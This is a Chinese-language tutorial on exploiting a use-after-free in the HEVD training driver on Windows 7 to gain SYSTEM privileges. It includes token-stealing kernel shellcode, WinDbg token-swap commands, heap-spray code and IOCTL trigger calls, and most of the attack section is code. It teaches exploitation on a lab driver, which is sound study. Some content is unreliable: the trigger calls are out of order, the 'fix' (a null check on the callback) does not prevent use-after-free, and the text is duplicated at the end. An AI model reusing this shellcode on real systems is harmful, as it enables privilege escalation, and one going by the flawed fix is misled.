Windows Kernel Exploit(一) -> UAF
字数 822 2025-08-05 08:19:22

Windows Kernel Exploit 教学:UAF漏洞分析与利用

0x00 实验环境准备

  • 操作系统:Windows 7 x86 sp1
  • 调试工具:Windbg + VirtualKD
  • 漏洞环境:HEVD (HackSys Extreme Vulnerable Driver) + OSR Loader

0x01 提权原理

进程Token机制

Windows系统中,每个进程都有一个Token结构体,用于标识其权限级别。系统权限的Token值比普通进程更高,通过替换Token可以实现提权。

查看进程Token的方法:

kd> !dml_proc
Address     PID     Image file name
865ce8a8    4       System
87040ca0    bc0     cmd.exe

kd> dt nt!_EX_FAST_REF 865ce8a8+f8  // System token
kd> dt nt!_EX_FAST_REF 87040ca0+f8  // cmd token

手动修改Token实现提权:

kd> ed 87040ca0+f8 8a201275  // 将cmd的Token替换为System的Token

自动化提权Shellcode

void ShellCode() {
    _asm {
        nop
        nop
        nop
        nop
        pushad
        mov eax, fs:[124h]    // 获取当前线程的_KTHREAD结构
        mov eax, [eax + 0x50] // 获取nt!_KTHREAD.ApcState.Process
        mov ecx, eax          // 保存当前进程的_EPROCESS结构
        mov edx, 4            // SYSTEM进程的PID(4)
        
        // 遍历进程链表查找SYSTEM进程
    find_sys_pid:
        mov eax, [eax + 0xb8] // 进程活动链表
        sub eax, 0xb8         // 链表遍历
        cmp [eax + 0xb4], edx // 比较PID
        jnz find_sys_pid
        
        // 替换Token
        mov edx, [eax + 0xf8]
        mov [ecx + 0xf8], edx
        popad
        ret
    }
}

0x02 UAF漏洞原理

基本概念

Use After Free (UAF)是指内存块被释放后再次被使用的情况,主要分为三种:

  1. 内存释放后指针被置NULL,再次使用导致崩溃
  2. 内存释放后指针未置NULL,且未被修改,程序可能正常运行
  3. 内存释放后指针未置NULL,但被修改,导致程序异常行为

HEVD中的UAF漏洞

在HEVD驱动中存在以下关键结构:

typedef struct _USE_AFTER_FREE {
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;

PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;

漏洞触发点:

if (g_UseAfterFreeObject) {
    g_UseAfterFreeObject->Callback(); // 可能执行恶意代码
}

0x03 漏洞利用

利用思路

  1. 申请与漏洞对象相同大小的内存
  2. 构造伪造对象,将Callback指向Shellcode
  3. 使用堆喷射技术提高命中率
  4. 触发UAF执行恶意代码

关键数据结构

typedef struct _FAKE_USE_AFTER_FREE {
    FunctionPointer countinter;
    char bufffer[0x54];
} FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;

利用代码实现

  1. 构造伪造对象:
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
  1. 堆喷射:
for (int i = 0; i < 5000; i++) {
    DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
  1. 触发漏洞:
// 调用UseUaFObject()
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用FreeUaFObject()
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
  1. 验证提权:
void CreateCmd() {
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, 
                                 CREATE_NEW_CONSOLE, NULL, NULL, 
                                 (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) {
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }
}

0x04 漏洞修复方案

修复UAF漏洞的关键是在使用前检查对象是否有效:

if (g_UseAfterFreeObject != NULL) {
    if (g_UseAfterFreeObject->Callback) {
        g_UseAfterFreeObject->Callback();
    }
}

0x05 相关漏洞参考

  • CVE-2014-4113
  • CVE-2018-8120

0x06 总结

本教学详细介绍了Windows内核UAF漏洞的原理和利用方法,关键点包括:

  1. Windows Token提权机制
  2. UAF漏洞原理及分类
  3. 堆喷射技术应用
  4. 实际漏洞利用步骤
  5. 漏洞修复方案

通过本教学,读者可以深入理解Windows内核UAF漏洞的利用方法,为进一步研究内核安全打下基础。

Windows Kernel Exploit 教学:UAF漏洞分析与利用 0x00 实验环境准备 操作系统:Windows 7 x86 sp1 调试工具:Windbg + VirtualKD 漏洞环境:HEVD (HackSys Extreme Vulnerable Driver) + OSR Loader 0x01 提权原理 进程Token机制 Windows系统中,每个进程都有一个Token结构体,用于标识其权限级别。系统权限的Token值比普通进程更高,通过替换Token可以实现提权。 查看进程Token的方法: 手动修改Token实现提权: 自动化提权Shellcode 0x02 UAF漏洞原理 基本概念 Use After Free (UAF)是指内存块被释放后再次被使用的情况,主要分为三种: 内存释放后指针被置NULL,再次使用导致崩溃 内存释放后指针未置NULL,且未被修改,程序可能正常运行 内存释放后指针未置NULL,但被修改,导致程序异常行为 HEVD中的UAF漏洞 在HEVD驱动中存在以下关键结构: 漏洞触发点: 0x03 漏洞利用 利用思路 申请与漏洞对象相同大小的内存 构造伪造对象,将Callback指向Shellcode 使用堆喷射技术提高命中率 触发UAF执行恶意代码 关键数据结构 利用代码实现 构造伪造对象: 堆喷射: 触发漏洞: 验证提权: 0x04 漏洞修复方案 修复UAF漏洞的关键是在使用前检查对象是否有效: 0x05 相关漏洞参考 CVE-2014-4113 CVE-2018-8120 0x06 总结 本教学详细介绍了Windows内核UAF漏洞的原理和利用方法,关键点包括: Windows Token提权机制 UAF漏洞原理及分类 堆喷射技术应用 实际漏洞利用步骤 漏洞修复方案 通过本教学,读者可以深入理解Windows内核UAF漏洞的利用方法,为进一步研究内核安全打下基础。